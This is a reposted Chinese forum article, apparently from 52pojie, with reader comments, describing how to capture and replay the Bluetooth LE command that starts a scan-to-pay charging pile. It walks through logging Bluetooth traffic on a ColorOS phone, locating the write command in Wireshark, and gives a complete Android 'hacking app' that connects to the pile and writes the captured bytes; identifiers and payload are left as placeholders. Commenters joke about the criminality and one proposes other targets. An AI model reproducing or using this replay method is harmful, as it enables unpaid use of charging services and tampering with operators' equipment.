(转)[调试逆向] 扫码充电桩蓝牙ble通信分析

加班闲来无事逛吾爱论坛,发现个很刑的文章,复制过来分享给大家,感兴趣的可以去原作者文章看一看: 扫码充电桩蓝牙ble通信分析
https://www.52pojie.cn/thread-1909864-1-1.html
(出处: 吾爱破解论坛)

----------------------------------------------分割线------------------------------------------------------

前言

1.分析的前提: 抓包

我用的是colorOS系统(某p的系统),弄清这一步花费了我很长时间。
拨号按键输入:*#800#
打开反馈工具箱

通信模组-蓝牙-开始抓取

正常操作,扫描付款,启用充电桩
结束抓取

那么目前此时蓝牙数据包就已经包含 启用充电桩的关键命令了

数据包传输到电脑:

adb pull /sdcard/Android/data/com.oplus.logkit/files/Log .

抓取的日志都在Log下,每抓取一次,就会在Log下建立一个目录

而我们实际所需要分析的蓝牙日志文件只有一个:

Log/日期xxx@bluetooth/common/debuglogger/connsyslog/bthci/CsLog_xxxxx/xxx.cfa

将这个文件用wireshark 打开cfa文件,分析具体通信数据

2.开始分析

对于蓝牙ble通信只需要了解几个基本概念:
service uuid
Characteristic uuid
一个设备会包含多个service, 一个service会包含多个Characteristic
具体的通信过程就是对Characteristic进行读和写,而我们通过蓝牙通信改写了 充电桩的状态,所以毫无疑问,这里就是都某个Characteristic进行了写操作实现的

对协议进行排序(非按时间顺序进行排序)
找到关键的write command:

可以看到是对 Characteristic 进行了写入操作
不过这里需要具体区分写入了那些数据,因为这里wireshark没有单独识别要写入的数据:

红框内的数据,第一个表示是写入,第二个是characteristic hande,所有实际写入的数据是后面的所有部分

3. 用BLE Scanner写入查看效果

可以用 BLE Scanner 进行测试

4.编写hacking app

package com.example.myapplication;

import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;

import android.Manifest;
import android.annotation.SuppressLint;
import android.bluetooth.le.BluetoothLeScanner;
import android.bluetooth.le.ScanCallback;
import android.bluetooth.le.ScanResult;
import android.content.pm.PackageManager;
import android.os.Build;
import android.util.Log;
import android.widget.Button;
import android.os.Bundle;

import android.bluetooth.*;

import android.widget.Toast;

public class MainActivity extends AppCompatActivity {

    public final BluetoothGattCallback bluetoothGattCallback = new BluetoothGattCallback() {
        @SuppressLint("MissingPermission")
        @Override
        public void onConnectionStateChange(BluetoothGatt gatt, int status, int newState) {
            super.onConnectionStateChange(gatt, status, newState);
            if (status == BluetoothGatt.GATT_SUCCESS) {//发现服务成功
                gatt.discoverServices();
            }

        }
        @SuppressLint("MissingPermission")
        @Override
        public void onServicesDiscovered(BluetoothGatt gatt, int status) {
            super.onServicesDiscovered(gatt, status);
            if (status == BluetoothGatt.GATT_SUCCESS) {
                for (BluetoothGattService i : gatt.getServices()
                ) {
                    Log.e("service id", i.getUuid().toString());
                    // service uuid 4位
                    if (i.getUuid().toString().substring(4, 8).equals("xxxx")) {
                        for (BluetoothGattCharacteristic characteristic : i.getCharacteristics()
                        ) {
                            Log.e("char id", characteristic.getUuid().toString());
                            // characteristic xxxxx 为要写入的uuid
                            if (characteristic.getUuid().toString().equals("xxxxxxx") && !button_add.isEnabled()) {
                                changeButton();
                                mCharacteristic = characteristic;
                                mgatt = gatt;
                                break;
                            }
                        }
                        break;
                    }
                }

            }
        }
    };

    private final ScanCallback scancallback = new ScanCallback() {
        @SuppressLint("MissingPermission")
        @Override
        public void onScanResult(int callbackType, ScanResult result) {
            device = result.getDevice();
                        // xx:xx:xx:xx:xx:xx 模板mac地址
            if (device.getAddress().equals("xx:xx:xx:xx:xx:xx")) {
                bluetoothLeScanner.stopScan(this);
                Toast.makeText(getApplicationContext(), device.getAddress(), Toast.LENGTH_SHORT).show();
                BluetoothGatt bluetoothGatt = device.connectGatt(getApplicationContext(), true, bluetoothGattCallback, BluetoothDevice.TRANSPORT_LE);
            }
        }

        @Override
        public void onScanFailed(int errorCode) {
            Toast.makeText(getApplicationContext(), "扫描失败", Toast.LENGTH_SHORT).show();
        }
    };
    public Button button_close;
    public Button button_add;
    public BluetoothLeScanner bluetoothLeScanner;
    public BluetoothGattCharacteristic mCharacteristic;
    public BluetoothGatt mgatt;
    public BluetoothDevice device;

    public void changeButton() {
        runOnUiThread(new Runnable() {
            @Override
            public void run() {
                button_add.setEnabled(true);
            }
        });
    }
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) {
            ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.BLUETOOTH_CONNECT, Manifest.permission.BLUETOOTH_SCAN}, 2);
        }
        setContentView(R.layout.activity_main);
        button_close = findViewById(R.id.on_button);
        button_add = findViewById(R.id.off_button);
        button_add.setEnabled(false);
        button_add.setOnClickListener(view -> {
            byte[] value = {
                  //要写入的数据,bytes数组
            };
            mCharacteristic.setValue(value);
            if (ActivityCompat.checkSelfPermission(this, Manifest.permission.BLUETOOTH_CONNECT) != PackageManager.PERMISSION_GRANTED) {
            }
            mgatt.writeCharacteristic(mCharacteristic);
        });
        button_close.setOnClickListener(v -> {
            System.exit(0);
        });
        BluetoothManager mBluetoothManager = (BluetoothManager) getSystemService(getApplicationContext().BLUETOOTH_SERVICE);
        BluetoothAdapter mBluetoothAdapter = mBluetoothManager.getAdapter();
        bluetoothLeScanner = mBluetoothAdapter.getBluetoothLeScanner();
        bluetoothLeScanner.startScan(scancallback);
        }

}
5 个赞

常规话题网络安全

刑!

2 个赞

确实很刑

1 个赞

刑啊,越来越有判头了

不过就是图片能否转一下:smirk:

3 个赞

图片编辑的时候有,但是一保存就没了。

3 个赞

可以了,手动上传了下

3 个赞

这也刑

2 个赞

很刑

2 个赞

确实很刑

2 个赞

太刑了

2 个赞

国家有你这种人才真是可刑可拷 :crazy_face:

2 个赞

思路很邢啊

1 个赞

你这活干的是在太刑了,你这已经不只是破坏计算机信息系统了,已经涉嫌破坏电力设施了……

3 个赞

刑啊,好日子越来越有判头了

1 个赞

刑啊 可以用类似的方式搞点其他场景

1 个赞

确实很刑

1 个赞

这个方法可刑,一牢永逸

1 个赞

相当刑啊,找个未成年人推车去充电看看到底刑不刑?

2 个赞

真狠啊

1 个赞